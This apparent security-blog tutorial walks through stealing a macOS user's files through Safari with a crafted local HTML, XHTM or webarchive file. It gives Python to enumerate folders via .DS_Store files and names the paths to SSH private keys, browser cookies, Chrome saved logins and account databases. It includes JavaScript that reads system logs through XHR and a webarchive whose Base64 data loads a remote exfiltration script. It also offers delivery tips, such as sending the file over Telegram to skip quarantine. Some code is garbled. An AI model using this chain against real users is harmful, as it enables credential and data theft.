Imagine this situation: When you open an HTML document something strange happens and after a while all the files on your hard drive end up in the hands of a hacker. Do you think this is impossible? You might want to think about it again.
There is a possibility that threat actors may abuse some features in modern browsers through a complex attack described below:
- The user opens an HTML page in a browser
- The browser reads the list of files available on the user’s computer.
- The browser reads “sensitive” files and uploads them to the attacker’s remote server. At the same time, the whole process remains invisible to the user
Let’s divide the attack conditionally into two stages:
- Get information about files on a remote computer
- Read the files and send them to the attacker’s server
In the first stage, we somehow have to find the list of files that interest us on the user’s computer. The problem is, there’s no clear way to do it. No browser will allow you to read the local directory ~ / and the list of files on your desktop from an HTML page. Random search isn’t an option either. Although we know of several routes like,~/.ssh/id_rsa important routes, in most cases this will be of little use.
In the second stage, having a complete set of paths somehow we must go beyond the limits of the browser sandbox, read the local files and upload them to our server.
Please note that this information is for academic purposes only. IICS is not responsible for the misuse of this tutorial.
Extract lists of files
MacOS has a fun touch. If you open a directory with files, the operating system will create a special hidden file: .DS_Store. This file folder stores view settings on macOS, includes information about the location of the folder window, the size of the window, the view options that were selected (icons, list, or table), and the appearance of the icons in the window. In other words, the operating system caches the file information to quickly display the directory.
In the image we can appreciate. DS_Store (such as a hidden Thumbs.db file on Windows), but unlike Windows, it also contains file and directory names. Simply go to the directory with the files and the operating system will immediately create .DS_Store.
What’s so interesting here? The fact that .DS_Store can scan and get the names of all files in the directory. The DSStore module for Python of the same name is suitable for this. Here is a sample code to implement reading .DS_Store:
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
filelist = []
for i in file:
if i.filename!='.':
filelist.append(i.filename)
return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
try:
d = DSStore.open(path + name+ '/.DS_Store', 'r+')
fileresult = parse(d)
all.append(fileresult)
print(json.dumps(fileresult))
except:
pass
Save this code to a parse_ds_store.py and run it. In this case, the result looks like this:
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]
We can see the names of files and folders in the home directory. Once recognized, you can query each directory and search there. DS_Store and thus get the hierarchy of files and folders without having access to the directory list.
For example, we scan the home folder ( ~ / DS_Store), we get the following content:
["Backups", "Soft", "Pictures", ".ssh" ...]
We move on to ./Backups/. DS_Store, we get:
["2017", "2016", "2015", ...]
In the following iteration / Backups / 2017 / .DS_Store:
["source", "sql", "static", ...]
And so on. Cybersecurity specialists recommend remembering a couple of things:
- You need to know the username on the system
- The .DS_Store is created only where the user visits it
Predicting paths for sensitive files
What else can we find in the user’s system? First, there is the .ssh directory where private keys are typically downloaded. First we must remember these routes:
- ~/.ssh/id_rsa
- ~/.ssh/id_rsa.key
- ~/.ssh/id_rsa.pub
- ~/.ssh/known_hosts
- ~/.ssh/authorized_keys
On the other hand, .bash_history resides in the history of the commands entered in the terminal.
Collect cookies and other data
The cybersecurity specialists will then show you the process of collecting cookies. First of all, keep in mind that macOS has predictable ways to store account data in a directory.
- ~/Library/Cookies/Cookies.binarycookies
- ~/Library/Cookies/com.apple.Safari.cookies
There will also be cookies from Twitter, Skype and other applications.
Let’s also take HSTS data thanks to the websites visited that returned the HSTS header.
~/Library/Cookies/HSTS.plist
We will also keep information about system accounts.
~/Library/Accounts/Accounts4.sqlite
Well, Safari isn’t the only one. Usually, several installed software files and configurations are located in the path.
~/Library/Application Support/
We’ll take only Chrome files:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History
You can also dig through to find out where interesting files from some FTP/SQL clients or message history are stored in any instant messaging service.
Get full paths to user files
We’ve figured out what we can take. Now let’s try to collect these files using Safari. In Chrome, for example, you won’t be able to read local files on the fly with JavaScript. For this to work, Chrome must first be started with a special argument (–disable-web-security). Safari also warns that file:// can’t work with it.
However, if HTML was not downloaded from the Internet, Safari is more loyal to this type of request: by sending a request to a local file using XHR, we will receive its contents:
Thanks to this function, knowing the full path to the file, we can download its contents and send it to a remote server. But here’s the least nice part: how to get the full path if we don’t know the username? There is no user login, as you may notice.
To find out the username, we check the two log files that appear as soon as you install and configure the operating system. These are the /var/log/system.log and /var/log/install.log. It won’t be in one; chances are It’s in another. We upload these files to the browser and use a regular expression to get the username.
Here is a JS function to extract the user name from the log files:
function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
}
}
Send files to the server
And now we combine the first part of the article and the ability to read files. For proof of concept, we do the server side; we take the path and the user’s content. If it’s .DS_Store, we give you more analysis paths.
You can try whitelisting and blacklisting, for example, so as not to download heavy movies or, on the contrary, download only .docx.
But what if there are other browsers installed on the system? The HTML code will open with Chrome or Firefox and nothing happens. Fortunately, there are a couple of extensions that only open Safari. These are XHTM and webarchive. If everything is clear with XHTM, this is an XML-based web page (and you can run JS on it), so with webarchive it’s a little more complicated. It has two formats, one of which can be easily crafted by hand:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
wvYm9keT48L2h0bWw+
</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
</dict>
</plist>
Where data is a Base64 page with 59 characters each line.
Chances of bypass restrictions
By default, for files transferred over the network, there is a limit to the execution of that code.
This means that if you mail the file, it may not work.
The good news is that not all programs check the box when downloading a file.
The macOS version of Telegram does not do this, for example). In several tests, we were able to read the user’s files with a “malicious” XHTM file transferred via the desktop version of Telegram for macOS, and without file protection or password.
You can probably find other examples, too. And, of course, the finished file can be swiped to the victim on a physical medium during the socio-technical test.
Currently there is no defense against this attack, so it is only left to recommend users to be as cautious as they can when downloading material from the Internet (in addition it is recommended not to use the Safari browser). Due to the features of this attack, Apple does not consider this to be vulnerability, so patches are likely not released.
Cyber Security Researcher. Information security specialist, currently working as risk infrastructure specialist & investigator. He is a cyber-security researcher with over 25 years of experience. He has served with the Intelligence Agency as a Senior Intelligence Officer. He has also worked with Google and Citrix in development of cyber security solutions. He has aided the government and many federal agencies in thwarting many cyber crimes. He has been writing for us in his free time since last 5 years.